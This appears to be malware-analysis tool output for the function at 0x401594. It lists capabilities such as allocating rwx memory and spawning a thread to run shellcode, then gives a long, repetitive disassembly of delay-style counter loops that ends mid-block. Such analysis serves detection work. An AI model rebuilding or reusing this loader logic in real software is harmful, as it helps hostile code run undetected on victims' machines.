Function at 0x401594
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x24570
call fcn.00630610
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x24500], ecx
mov qword [rbp + 0x24508], rdx
call fcn.0062f710
mov dword [rbp + 0x244ec], 0x1b8
mov dword [rbp + 0x244e8], 0xd2
mov dword [rbp + 0x244e4], 0x64
mov dword [rbp + 0x244e0], 0x104
mov dword [rbp + 0x244dc], 0xc8
jmp 0x4016af
mov eax, dword [rbp + 0x244e0]
cmp eax, dword [rbp + 0x244dc]
jle 0x40164f
mov eax, dword [rbp + 0x244e0]
cmp eax, dword [rbp + 0x244e8]
jle 0x40162f
mov eax, dword [rbp + 0x244e0]
cmp eax, dword [rbp + 0x244e4]
jle 0x401626
sub dword [rbp + 0x244e0], 1
jmp 0x40169b
sub dword [rbp + 0x244e4], 1
jmp 0x40169b
mov eax, dword [rbp + 0x244e8]
cmp eax, dword [rbp + 0x244e4]
jle 0x401646
sub dword [rbp + 0x244e8], 1
jmp 0x40169b
sub dword [rbp + 0x244e4], 1
jmp 0x40169b
mov eax, dword [rbp + 0x244dc]
cmp eax, dword [rbp + 0x244e8]
jle 0x40167d
mov eax, dword [rbp + 0x244dc]
cmp eax, dword [rbp + 0x244e4]
jle 0x401674
sub dword [rbp + 0x244dc], 1
jmp 0x40169b
sub dword [rbp + 0x244e4], 1
jmp 0x40169b
mov eax, dword [rbp + 0x244e8]
cmp eax, dword [rbp + 0x244e4]
jle 0x401694
sub dword [rbp + 0x244e8], 1
jmp 0x40169b
sub dword [rbp + 0x244e4], 1
mov eax, dword [rbp + 0x244e0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x244e0], 0
jg 0x4015f3
mov dword [rbp + 0x244d8], 0x5a
mov dword [rbp + 0x244d4], 0x1e
mov dword [rbp + 0x244d0], 0x8c
mov dword [rbp + 0x244cc], 0x5a
jmp 0x4017a5
mov eax, dword [rbp + 0x244d0]
cmp eax, dword [rbp + 0x244cc]
jle 0x401745
mov eax, dword [rbp + 0x244d0]
cmp eax, dword [rbp + 0x244d8]
jle 0x401725
mov eax, dword [rbp + 0x244d0]
cmp eax, dword [rbp + 0x244d4]
jle 0x40171c
sub dword [rbp + 0x244d0], 1
jmp 0x401791
sub dword [rbp + 0x244d4], 1
jmp 0x401791
mov eax, dword [rbp + 0x244d8]
cmp eax, dword [rbp + 0x244d4]
jle 0x40173c
sub dword [rbp + 0x244d8], 1
jmp 0x401791
sub dword [rbp + 0x244d4], 1
jmp 0x401791
mov eax, dword [rbp + 0x244cc]
cmp eax, dword [rbp + 0x244d8]
jle 0x401773
mov eax, dword [rbp + 0x244cc]
cmp eax, dword [rbp + 0x244d4]
jle 0x40176a
sub dword [rbp + 0x244cc], 1
jmp 0x401791
sub dword [rbp + 0x244d4], 1
jmp 0x401791
mov eax, dword [rbp + 0x244d8]
cmp eax, dword [rbp + 0x244d4]
jle 0x40178a
sub dword [rbp + 0x244d8], 1
jmp 0x401791
sub dword [rbp + 0x244d4], 1
mov eax, dword [rbp + 0x244d0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x244d0], 0
jg 0x4016e9
mov dword [rbp + 0x244c8], 0x5a
mov dword [rbp + 0x244c4], 0x82
mov dword [rbp + 0x244c0], 0x168
mov dword [rbp + 0x244bc], 0xfa
jmp 0x40189b
mov eax, dword [rbp + 0x244c0]
cmp eax, dword [rbp + 0x244bc]
jle 0x40183b
mov eax, dword [rbp + 0x244c0]
cmp eax, dword [rbp + 0x244c8]
jle 0x40181b
mov eax, dword [rbp + 0x244c0]
cmp eax, dword [rbp + 0x244c4]
jle 0x401812
sub dword [rbp + 0x244c0], 1
jmp 0x401887
sub dword [rbp + 0x244c4], 1
jmp 0x401887
mov eax, dword [rbp + 0x244c8]
cmp eax, dword [rbp + 0x244c4]
jle 0x401832
sub dword [rbp + 0x244c8], 1
jmp 0x401887
sub dword [rbp + 0x244c4], 1
jmp 0x401887
mov eax, dword [rbp + 0x244bc]
cmp eax, dword [rbp + 0x244c8]
jle 0x401869
mov eax, dword [rbp + 0x244bc]
cmp eax, dword [rbp + 0x244c4]
jle 0x401860
sub dword [rbp + 0x244bc], 1
jmp 0x401887
sub dword [rbp + 0x244c4], 1
jmp 0x401887
mov eax, dword [rbp + 0x244c8]
cmp eax, dword [rbp + 0x244c4]
jle 0x401880
sub dword [rbp + 0x244c8], 1
jmp 0x401887
sub dword [rbp + 0x244c4], 1
mov eax, dword [rbp + 0x244c0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x244c0], 0
jg 0x4017df
mov dword [rbp + 0x244b8], 0x1e
mov dword [rbp + 0x244b4], 0x3c
mov dword [rbp + 0x244b0], 0xb4
mov dword [rbp + 0x244ac], 0x82
jmp 0x401991
mov eax, dword [rbp + 0x244b0]
cmp eax, dword [rbp + 0x244ac]
jle 0x401931
mov eax, dword [rbp + 0x244b0]
cmp eax, dword [rbp + 0x244b8]
jle 0x401911
mov eax, dword [rbp + 0x244b0]
cmp eax, dword [rbp + 0x244b4]
jle 0x401908
sub dword [rbp + 0x244b0], 1
jmp 0x40197d
sub dword [rbp + 0x244b4], 1
jmp 0x40197d
mov eax, dword [rbp + 0x244b8]
cmp eax, dword [rbp + 0x244b4]
jle 0x401928
sub dword [rbp + 0x244b8], 1
jmp 0x40197d
sub dword [rbp + 0x244b4], 1
jmp 0x40197d
mov eax, dword [rbp + 0x244ac]
cmp eax, dword [rbp + 0x244b8]
jle 0x40195f
mov eax, dword [rbp + 0x244ac]
cmp eax, dword [rbp + 0x244b4]
jle 0x401956
sub dword [rbp + 0x244ac], 1
jmp 0x40197d
sub dword [rbp + 0x244b4], 1
jmp 0x40197d
mov eax, dword [rbp + 0x244b8]
cmp eax, dword [rbp + 0x244b4]
jle 0x401976
sub dword [rbp + 0x244b8], 1
jmp 0x40197d
sub dword [rbp + 0x244b4], 1
mov eax, dword [rbp + 0x244b0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x244b0], 0
jg 0x4018d5
mov dword [rbp + 0x244a8], 0x12c
mov dword [rbp + 0x244a4], 0xaa
mov dword [rbp + 0x244a0], 0x1ea
mov dword [rbp + 0x2449c], 0x1cc
jmp 0x401a87
mov eax, dword [rbp + 0x244a0]
cmp eax, dword [rbp + 0x2449c]
jle 0x401a27
mov eax, dword [rbp + 0x244a0]
cmp eax, dword [rbp + 0x244a8]
jle 0x401a07
mov eax, dword [rbp + 0x244a0]
cmp eax, dword [rbp + 0x244a4]
jle 0x4019fe
sub dword [rbp + 0x244a0], 1
jmp 0x401a73
sub dword [rbp + 0x244a4], 1
jmp 0x401a73
mov eax, dword [rbp + 0x244a8]
cmp eax, dword [rbp + 0x244a4]
jle 0x401a1e
sub dword [rbp + 0x244a8], 1
jmp 0x401a73
sub dword [rbp + 0x244a4], 1
jmp 0x401a73
mov eax, dword [rbp + 0x2449c]
cmp eax, dword [rbp + 0x244a8]
jle 0x401a55
mov eax, dword [rbp + 0x2449c]
cmp eax, dword [rbp + 0x244a4]
jle 0x401a4c
sub dword [rbp + 0x2449c], 1
jmp 0x401a73
sub dword [rbp + 0x244a4], 1
jmp 0x401a73
mov eax, dword [rbp + 0x244a8]
cmp eax, dword [rbp + 0x244a4]
jle 0x401a6c
sub dword [rbp + 0x244a8], 1
jmp 0x401a73
sub dword [rbp + 0x244a4], 1
mov eax, dword [rbp + 0x244a0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x244a0], 0
jg 0x4019cb
mov dword [rbp + 0x24498], 0xa0
mov dword [rbp + 0x24494], 0x32
mov dword [rbp + 0x24490], 0xc8
mov dword [rbp + 0x2448c], 0xfa
jmp 0x401b7d
mov eax, dword [rbp + 0x24490]
cmp eax, dword [rbp + 0x2448c]
jle 0x401b1d
mov eax, dword [rbp + 0x24490]
cmp eax, dword [rbp + 0x24498]
jle 0x401afd
mov eax, dword [rbp + 0x24490]
cmp eax, dword [rbp + 0x24494]
jle 0x401af4
sub dword [rbp + 0x24490], 1
jmp 0x401b69
sub dword [rbp + 0x24494], 1
jmp 0x401b69
mov eax, dword [rbp + 0x24498]
cmp eax, dword [rbp + 0x24494]
jle 0x401b14
sub dword [rbp + 0x24498], 1
jmp 0x401b69
sub dword [rbp + 0x24494], 1
jmp 0x401b69
mov eax, dword [rbp + 0x2448c]
cmp eax, dword [rbp + 0x24498]
jle 0x401b4b
mov eax, dword [rbp + 0x2448c]
cmp eax, dword [rbp + 0x24494]
jle 0x401b42
sub dword [rbp + 0x2448c], 1
jmp 0x401b69
sub dword [rbp + 0x24494], 1
jmp 0x401b69
mov eax, dword [rbp + 0x24498]
cmp eax, dword [rbp + 0x24494]
jle 0x401b62
sub dword [rbp + 0x24498], 1
jmp 0x401b69
sub dword [rbp + 0x24494], 1
mov eax, dword [rbp + 0x24490]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24490], 0
jg 0x401ac1
mov dword [rbp + 0x24488], 0x46
mov dword [rbp + 0x24484], 0x32
mov dword [rbp + 0x24480], 0x82
mov dword [rbp + 0x2447c], 0x96
jmp 0x401c73
mov eax, dword [rbp + 0x24480]
cmp eax, dword [rbp + 0x2447c]
jle 0x401c13
mov eax, dword [rbp + 0x24480]
cmp eax, dword [rbp + 0x24488]
jle 0x401bf3
mov eax, dword [rbp + 0x24480]
cmp eax, dword [rbp + 0x24484]
jle 0x401bea
sub dword [rbp + 0x24480], 1
jmp 0x401c5f
sub dword [rbp + 0x24484], 1
jmp 0x401c5f
mov eax, dword [rbp + 0x24488]
cmp eax, dword [rbp + 0x24484]
jle 0x401c0a
sub dword [rbp + 0x24488], 1
jmp 0x401c5f
sub dword [rbp + 0x24484], 1
jmp 0x401c5f
mov eax, dword [rbp + 0x2447c]
cmp eax, dword [rbp + 0x24488]
jle 0x401c41
mov eax, dword [rbp + 0x2447c]
cmp eax, dword [rbp + 0x24484]
jle 0x401c38
sub dword [rbp + 0x2447c], 1
jmp 0x401c5f
sub dword [rbp + 0x24484], 1
jmp 0x401c5f
mov eax, dword [rbp + 0x24488]
cmp eax, dword [rbp + 0x24484]
jle 0x401c58
sub dword [rbp + 0x24488], 1
jmp 0x401c5f
sub dword [rbp + 0x24484], 1
mov eax, dword [rbp + 0x24480]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24480], 0
jg 0x401bb7
mov dword [rbp + 0x24478], 0xf0
mov dword [rbp + 0x24474], 0x78
mov dword [rbp + 0x24470], 0x15e
mov dword [rbp + 0x2446c], 0x118
jmp 0x401d69
mov eax, dword [rbp + 0x24470]
cmp eax, dword [rbp + 0x2446c]
jle 0x401d09
mov eax, dword [rbp + 0x24470]
cmp eax, dword [rbp + 0x24478]
jle 0x401ce9
mov eax, dword [rbp + 0x24470]
cmp eax, dword [rbp + 0x24474]
jle 0x401ce0
sub dword [rbp + 0x24470], 1
jmp 0x401d55
sub dword [rbp + 0x24474], 1
jmp 0x401d55
mov eax, dword [rbp + 0x24478]
cmp eax, dword [rbp + 0x24474]
jle 0x401d00
sub dword [rbp + 0x24478], 1
jmp 0x401d55
sub dword [rbp + 0x24474], 1
jmp 0x401d55
mov eax, dword [rbp + 0x2446c]
cmp eax, dword [rbp + 0x24478]
jle 0x401d37
mov eax, dword [rbp + 0x2446c]
cmp eax, dword [rbp + 0x24474]
jle 0x401d2e
sub dword [rbp + 0x2446c], 1
jmp 0x401d55
sub dword [rbp + 0x24474], 1
jmp 0x401d55
mov eax, dword [rbp + 0x24478]
cmp eax, dword [rbp + 0x24474]
jle 0x401d4e
sub dword [rbp + 0x24478], 1
jmp 0x401d55
sub dword [rbp + 0x24474], 1
mov eax, dword [rbp + 0x24470]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24470], 0
jg 0x401cad
mov dword [rbp + 0x24468], 0xd2
mov dword [rbp + 0x24464], 0xbe
mov dword [rbp + 0x24460], 0x12c
mov dword [rbp + 0x2445c], 0x1ae
jmp 0x401e5f
mov eax, dword [rbp + 0x24460]
cmp eax, dword [rbp + 0x2445c]
jle 0x401dff
mov eax, dword [rbp + 0x24460]
cmp eax, dword [rbp + 0x24468]
jle 0x401ddf
mov eax, dword [rbp + 0x24460]
cmp eax, dword [rbp + 0x24464]
jle 0x401dd6
sub dword [rbp + 0x24460], 1
jmp 0x401e4b
sub dword [rbp + 0x24464], 1
jmp 0x401e4b
mov eax, dword [rbp + 0x24468]
cmp eax, dword [rbp + 0x24464]
jle 0x401df6
sub dword [rbp + 0x24468], 1
jmp 0x401e4b
sub dword [rbp + 0x24464], 1
jmp 0x401e4b
mov eax, dword [rbp + 0x2445c]
cmp eax, dword [rbp + 0x24468]
jle 0x401e2d
mov eax, dword [rbp + 0x2445c]
cmp eax, dword [rbp + 0x24464]
jle 0x401e24
sub dword [rbp + 0x2445c], 1
jmp 0x401e4b
sub dword [rbp + 0x24464], 1
jmp 0x401e4b
mov eax, dword [rbp + 0x24468]
cmp eax, dword [rbp + 0x24464]
jle 0x401e44
sub dword [rbp + 0x24468], 1
jmp 0x401e4b
sub dword [rbp + 0x24464], 1
mov eax, dword [rbp + 0x24460]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24460], 0
jg 0x401da3
mov dword [rbp + 0x24458], 0x5a
mov dword [rbp + 0x24454], 0x28
mov dword [rbp + 0x24450], 0x82
mov dword [rbp + 0x2444c], 0x6e
jmp 0x401f55
mov eax, dword [rbp + 0x24450]
cmp eax, dword [rbp + 0x2444c]
jle 0x401ef5
mov eax, dword [rbp + 0x24450]
cmp eax, dword [rbp + 0x24458]
jle 0x401ed5
mov eax, dword [rbp + 0x24450]
cmp eax, dword [rbp + 0x24454]
jle 0x401ecc
sub dword [rbp + 0x24450], 1
jmp 0x401f41
sub dword [rbp + 0x24454], 1
jmp 0x401f41
mov eax, dword [rbp + 0x24458]
cmp eax, dword [rbp + 0x24454]
jle 0x401eec
sub dword [rbp + 0x24458], 1
jmp 0x401f41
sub dword [rbp + 0x24454], 1
jmp 0x401f41
mov eax, dword [rbp + 0x2444c]
cmp eax, dword [rbp + 0x24458]
jle 0x401f23
mov eax, dword [rbp + 0x2444c]
cmp eax, dword [rbp + 0x24454]
jle 0x401f1a
sub dword [rbp + 0x2444c], 1
jmp 0x401f41
sub dword [rbp + 0x24454], 1
jmp 0x401f41
mov eax, dword [rbp + 0x24458]
cmp eax, dword [rbp + 0x24454]
jle 0x401f3a
sub dword [rbp + 0x24458], 1
jmp 0x401f41
sub dword [rbp + 0x24454], 1
mov eax, dword [rbp + 0x24450]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24450], 0
jg 0x401e99
mov dword [rbp + 0x24448], 0x3c
mov dword [rbp + 0x24444], 0x3c
mov dword [rbp + 0x24440], 0x64
mov dword [rbp + 0x2443c], 0x64
jmp 0x40204b
mov eax, dword [rbp + 0x24440]
cmp eax, dword [rbp + 0x2443c]
jle 0x401feb
mov eax, dword [rbp + 0x24440]
cmp eax, dword [rbp + 0x24448]
jle 0x401fcb
mov eax, dword [rbp + 0x24440]
cmp eax, dword [rbp + 0x24444]
jle 0x401fc2
sub dword [rbp + 0x24440], 1
jmp 0x402037
sub dword [rbp + 0x24444], 1
jmp 0x402037
mov eax, dword [rbp + 0x24448]
cmp eax, dword [rbp + 0x24444]
jle 0x401fe2
sub dword [rbp + 0x24448], 1
jmp 0x402037
sub dword [rbp + 0x24444], 1
jmp 0x402037
mov eax, dword [rbp + 0x2443c]
cmp eax, dword [rbp + 0x24448]
jle 0x402019
mov eax, dword [rbp + 0x2443c]
cmp eax, dword [rbp + 0x24444]
jle 0x402010
sub dword [rbp + 0x2443c], 1
jmp 0x402037
sub dword [rbp + 0x24444], 1
jmp 0x402037
mov eax, dword [rbp + 0x24448]
cmp eax, dword [rbp + 0x24444]
jle 0x402030
sub dword [rbp + 0x24448], 1
jmp 0x402037
sub dword [rbp + 0x24444], 1
mov eax, dword [rbp + 0x24440]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24440], 0
jg 0x401f8f
mov dword [rbp + 0x24438], 0x78
mov dword [rbp + 0x24434], 0x64
mov dword [rbp + 0x24430], 0x12c
mov dword [rbp + 0x2442c], 0x10e
jmp 0x402141
mov eax, dword [rbp + 0x24430]
cmp eax, dword [rbp + 0x2442c]
jle 0x4020e1
mov eax, dword [rbp + 0x24430]
cmp eax, dword [rbp + 0x24438]
jle 0x4020c1
mov eax, dword [rbp + 0x24430]
cmp eax, dword [rbp + 0x24434]
jle 0x4020b8
sub dword [rbp + 0x24430], 1
jmp 0x40212d
sub dword [rbp + 0x24434], 1
jmp 0x40212d
mov eax, dword [rbp + 0x24438]
cmp eax, dword [rbp + 0x24434]
jle 0x4020d8
sub dword [rbp + 0x24438], 1
jmp 0x40212d
sub dword [rbp + 0x24434], 1
jmp 0x40212d
mov eax, dword [rbp + 0x2442c]
cmp eax, dword [rbp + 0x24438]
jle 0x40210f
mov eax, dword [rbp + 0x2442c]
cmp eax, dword [rbp + 0x24434]
jle 0x402106
sub dword [rbp + 0x2442c], 1
jmp 0x40212d
sub dword [rbp + 0x24434], 1
jmp 0x40212d
mov eax, dword [rbp + 0x24438]
cmp eax, dword [rbp + 0x24434]
jle 0x402126
sub dword [rbp + 0x24438], 1
jmp 0x40212d
sub dword [rbp + 0x24434], 1
mov eax, dword [rbp + 0x24430]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24430], 0
jg 0x402085
mov dword [rbp + 0x24428], 0x50
mov dword [rbp + 0x24424], 0x3c
mov dword [rbp + 0x24420], 0x6e
mov dword [rbp + 0x2441c], 0x50
jmp 0x402237
mov eax, dword [rbp + 0x24420]
cmp eax, dword [rbp + 0x2441c]
jle 0x4021d7
mov eax, dword [rbp + 0x24420]
cmp eax, dword [rbp + 0x24428]
jle 0x4021b7
mov eax, dword [rbp + 0x24420]
cmp eax, dword [rbp + 0x24424]
jle 0x4021ae
sub dword [rbp + 0x24420], 1
jmp 0x402223
sub dword [rbp + 0x24424], 1
jmp 0x402223
mov eax, dword [rbp + 0x24428]
cmp eax, dword [rbp + 0x24424]
jle 0x4021ce
sub dword [rbp + 0x24428], 1
jmp 0x402223
sub dword [rbp + 0x24424], 1
jmp 0x402223
mov eax, dword [rbp + 0x2441c]
cmp eax, dword [rbp + 0x24428]
jle 0x402205
mov eax, dword [rbp + 0x2441c]
cmp eax, dword [rbp + 0x24424]
jle 0x4021fc
sub dword [rbp + 0x2441c], 1
jmp 0x402223
sub dword [rbp + 0x24424], 1
jmp 0x402223
mov eax, dword [rbp + 0x24428]
cmp eax, dword [rbp + 0x24424]
jle 0x40221c
sub dword [rbp + 0x24428], 1
jmp 0x402223
sub dword [rbp + 0x24424], 1
mov eax, dword [rbp + 0x24420]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24420], 0
jg 0x40217b
mov dword [rbp + 0x24418], 0x28
mov dword [rbp + 0x24414], 0x78
mov dword [rbp + 0x24410], 0x15e
mov dword [rbp + 0x2440c], 0xaa
jmp 0x40232d
mov eax, dword [rbp + 0x24410]
cmp eax, dword [rbp + 0x2440c]
jle 0x4022cd
mov eax, dword [rbp + 0x24410]
cmp eax, dword [rbp + 0x24418]
jle 0x4022ad
mov eax, dword [rbp + 0x24410]
cmp eax, dword [rbp + 0x24414]
jle 0x4022a4
sub dword [rbp + 0x24410], 1
jmp 0x402319
sub dword [rbp + 0x24414], 1
jmp 0x402319
mov eax, dword [rbp + 0x24418]
cmp eax, dword [rbp + 0x24414]
jle 0x4022c4
sub dword [rbp + 0x24418], 1
jmp 0x402319
sub dword [rbp + 0x24414], 1
jmp 0x402319
mov eax, dword [rbp + 0x2440c]
cmp eax, dword [rbp + 0x24418]
jle 0x4022fb
mov eax, dword [rbp + 0x2440c]
cmp eax, dword [rbp + 0x24414]
jle 0x4022f2
sub dword [rbp + 0x2440c], 1
jmp 0x402319
sub dword [rbp + 0x24414], 1
jmp 0x402319
mov eax, dword [rbp + 0x24418]
cmp eax, dword [rbp + 0x24414]
jle 0x402312
sub dword [rbp + 0x24418], 1
jmp 0x402319
sub dword [rbp + 0x24414], 1
mov eax, dword [rbp + 0x24410]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24410], 0
jg 0x402271
mov dword [rbp + 0x24408], 0x32
mov dword [rbp + 0x24404], 0x3c
mov dword [rbp + 0x24400], 0x19a
mov dword [rbp + 0x243fc], 0x168
jmp 0x402423
mov eax, dword [rbp + 0x24400]
cmp eax, dword [rbp + 0x243fc]
jle 0x4023c3
mov eax, dword [rbp + 0x24400]
cmp eax, dword [rbp + 0x24408]
jle 0x4023a3
mov eax, dword [rbp + 0x24400]
cmp eax, dword [rbp + 0x24404]
jle 0x40239a
sub dword [rbp + 0x24400], 1
jmp 0x40240f
sub dword [rbp + 0x24404], 1
jmp 0x40240f
mov eax, dword [rbp + 0x24408]
cmp eax, dword [rbp + 0x24404]
jle 0x4023ba
sub dword [rbp + 0x24408], 1
jmp 0x40240f
sub dword [rbp + 0x24404], 1
jmp 0x40240f
mov eax, dword [rbp + 0x243fc]
cmp eax, dword [rbp + 0x24408]
jle 0x4023f1
mov eax, dword [rbp + 0x243fc]
cmp eax, dword [rbp + 0x24404]
jle 0x4023e8
sub dword [rbp + 0x243fc], 1
jmp 0x40240f
sub dword [rbp + 0x24404], 1
jmp 0x40240f
mov eax, dword [rbp + 0x24408]
cmp eax, dword [rbp + 0x24404]
jle 0x402408
sub dword [rbp + 0x24408], 1
jmp 0x40240f
sub dword [rbp + 0x24404], 1
mov eax, dword [rbp + 0x24400]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x24400], 0
jg 0x402367
mov dword [rbp + 0x243f8], 0x5a
mov dword [rbp + 0x243f4], 0x1e
mov dword [rbp + 0x243f0], 0x64
mov dword [rbp + 0x243ec], 0x50
jmp 0x402519
mov eax, dword [rbp + 0x243f0]
cmp eax, dword [rbp + 0x243ec]
jle 0x4024b9
mov eax, dword [rbp + 0x243f0]
cmp eax, dword [rbp + 0x243f8]
jle 0x402499
mov eax, dword [rbp + 0x243f0]
cmp eax, dword [rbp + 0x243f4]
jle 0x402490
sub dword [rbp + 0x243f0], 1
jmp 0x402505
sub dword [rbp + 0x243f4], 1
jmp 0x402505
mov eax, dword [rbp + 0x243f8]
cmp eax, dword [rbp + 0x243f4]
jle 0x4024b0
sub dword [rbp + 0x243f8], 1
jmp 0x402505
sub dword [rbp + 0x243f4], 1
jmp 0x402505
mov eax, dword [rbp + 0x243ec]
cmp eax, dword [rbp + 0x243f8]
jle 0x4024e7
mov eax, dword [rbp + 0x243ec]
cmp eax, dword [rbp + 0x243f4]
jle 0x4024de
sub dword [rbp + 0x243ec], 1
jmp 0x402505
sub dword [rbp + 0x243f4], 1
jmp 0x402505
mov eax, dword [rbp + 0x243f8]
cmp eax, dword [rbp + 0x243f4]
jle 0x4024fe
sub dword [rbp + 0x243f8], 1
jmp 0x402505
sub dword [rbp + 0x243f4], 1
mov eax, dword [rbp + 0x243f0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x243f0], 0
jg 0x40245d
mov dword [rbp + 0x243e8], 0x96
mov dword [rbp + 0x243e4], 0x5a
mov dword [rbp + 0x243e0], 0xfa
mov dword [rbp + 0x243dc], 0xc8
jmp 0x40260f
mov eax, dword [rbp + 0x243e0]
cmp eax, dword [rbp + 0x243dc]
jle 0x4025af
mov eax, dword [rbp + 0x243e0]
cmp eax, dword [rbp + 0x243e8]
jle 0x40258f
mov eax, dword [rbp + 0x243e0]
cmp eax, dword [rbp + 0x243e4]
jle 0x402586
sub dword [rbp + 0x243e0], 1
jmp 0x4025fb
sub dword [rbp + 0x243e4], 1
jmp 0x4025fb
mov eax, dword [rbp + 0x243e8]
cmp eax, dword [rbp + 0x243e4]
jle 0x4025a6
sub dword [rbp + 0x243e8], 1
jmp 0x4025fb
sub dword [rbp + 0x243e4], 1
jmp 0x4025fb
mov eax, dword [rbp + 0x243dc]
cmp eax, dword [rbp + 0x243e8]
jle 0x4025dd
mov eax, dword [rbp + 0x243dc]
cmp eax, dword [rbp + 0x243e4]
jle 0x4025d4
sub dword [rbp + 0x243dc], 1
jmp 0x4025fb
sub dword [rbp + 0x243e4], 1
jmp 0x4025fb
mov eax, dword [rbp + 0x243e8]
cmp eax, dword [rbp + 0x243e4]
jle 0x4025f4
sub dword [rbp + 0x243e8], 1
jmp 0x4025fb
sub dword [rbp + 0x243e4], 1
mov eax, dword [rbp + 0x243e0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x243e0], 0
jg 0x402553
mov dword [rbp + 0x243d8], 0x64
mov dword [rbp + 0x243d4], 0x32
mov dword [rbp + 0x243d0], 0xaa
mov dword [rbp + 0x243cc], 0x96
jmp 0x402705
mov eax, dword [rbp + 0x243d0]
cmp eax, dword [rbp + 0x243cc]
jle 0x4026a5
mov eax, dword [rbp + 0x243d0]
cmp eax, dword [rbp + 0x243d8]
jle 0x402685
mov eax, dword [rbp + 0x243d0]
cmp eax, dword [rbp + 0x243d4]
jle 0x40267c
sub dword [rbp + 0x243d0], 1
jmp 0x4026f1
sub dword [rbp + 0x243d4], 1
jmp 0x4026f1
mov eax, dword [rbp + 0x243d8]
cmp eax, dword [rbp + 0x243d4]
jle 0x40269c
sub dword [rbp + 0x243d8], 1
jmp 0x4026f1
sub dword [rbp + 0x243d4], 1
jmp 0x4026f1
mov eax, dword [rbp + 0x243cc]
cmp eax, dword [rbp + 0x243d8]
jle 0x4026d3
mov eax, dword [rbp + 0x243cc]
cmp eax, dword [rbp + 0x243d4]
jle 0x4026ca
sub dword [rbp + 0x243cc], 1
jmp 0x4026f1
sub dword [rbp + 0x243d4], 1
jmp 0x4026f1
mov eax, dword [rbp + 0x243d8]
cmp eax, dword [rbp + 0x243d4]
jle 0x4026ea
sub dword [rbp + 0x243d8], 1
jmp 0x4026f1
sub dword [rbp + 0x243d4], 1
mov eax, dword [rbp + 0x243d0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x243d0], 0
jg 0x402649
mov dword [rbp + 0x243c8], 0xa0
mov dword [rbp + 0x243c4], 0x46
mov dword [rbp + 0x243c0], 0x15e
mov dword [rbp + 0x243bc], 0xd2
jmp 0x4027fb
mov eax, dword [rbp + 0x243c0]
cmp eax, dword [rbp + 0x243bc]
jle 0x40279b
mov eax, dword [rbp + 0x243c0]
cmp eax, dword [rbp + 0x243c8]
jle 0x40277b
mov eax, dword [rbp + 0x243c0]
cmp eax, dword [rbp + 0x243c4]
jle 0x402772
sub dword [rbp + 0x243c0], 1
jmp 0x4027e7
sub dword [rbp + 0x243c4], 1
jmp 0x4027e7
mov eax, dword [rbp + 0x243c8]
cmp eax, dword [rbp + 0x243c4]
jle 0x402792
sub dword [rbp + 0x243c8], 1
jmp 0x4027e7
sub dword [rbp + 0x243c4], 1
jmp 0x4027e7
mov eax, dword [rbp + 0x243bc]
cmp eax, dword [rbp + 0x243c8]
jle 0x4027c9
mov eax, dword [rbp + 0x243bc]
cmp eax, dword [rbp + 0x243c4]
jle 0x4027c0
sub dword [rbp + 0x243bc], 1
jmp 0x4027e7
sub dword [rbp + 0x243c4], 1
jmp 0x4027e7
mov eax, dword [rbp + 0x243c8]
cmp eax, dword [rbp + 0x243c4]
jle 0x4027e0
sub dword [rbp + 0x243c8], 1
jmp 0x4027e7
sub dword [rbp + 0x243c4], 1
mov eax, dword [rbp + 0x243c0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x243c0], 0
jg 0x40273f
mov dword [rbp + 0x243b8], 0x3c
mov dword [rbp + 0x243b4], 0x28
mov dword [rbp + 0x243b0], 0xa0
mov dword [rbp + 0x243ac], 0x50
jmp 0x4028f1
mov eax, dword [rbp + 0x243b0]
cmp eax, dword [rbp + 0x243ac]
jle 0x402891
mov eax, dword [rbp + 0x243b0]
cmp eax, dword [rbp + 0x243b8]
jle 0x402871
mov eax, dword [rbp + 0x243b0]
cmp eax, dword [rbp + 0x243b4]
jle 0x402868
sub dword [rbp + 0x243b0], 1
jmp 0x4028dd
sub dword [rbp + 0x243b4], 1
jmp 0x4028dd
mov eax, dword [rbp + 0x243b8]
cmp eax, dword [rbp + 0x243b4]
jle 0x402888
sub dword [rbp + 0x243b8], 1
jmp 0x4028dd
sub dword [rbp + 0x243b4], 1
jmp 0x4028dd
mov eax, dword [rbp + 0x243ac]
cmp eax, dword [rbp + 0x243b8]
jle 0x4028bf
mov eax, dword [rbp + 0x243ac]
cmp eax, dword [rbp + 0x243b4]
jle 0x4028b6
sub dword [rbp + 0x243ac], 1
jmp 0x4028dd
sub dword [rbp + 0x243b4], 1
jmp 0x4028dd
mov eax, dword [rbp + 0x243b8]
cmp eax, dword [rbp + 0x243b4]
jle 0x4028d6
sub dword [rbp + 0x243b8], 1
jmp 0x4028dd
sub dword [rbp + 0x243b4], 1
mov eax, dword [rbp + 0x243b0]
mov edx, eax
lea rcx, section..rdata
call fcn.00401540
cmp dword [rbp + 0x243b0], 0
jg 0x402835
mov dword [rbp + 0x243a8], 0x6e
mov dword [rbp + 0x243a4], 0x50
mov dword [rbp + 0x243a0], 0x168
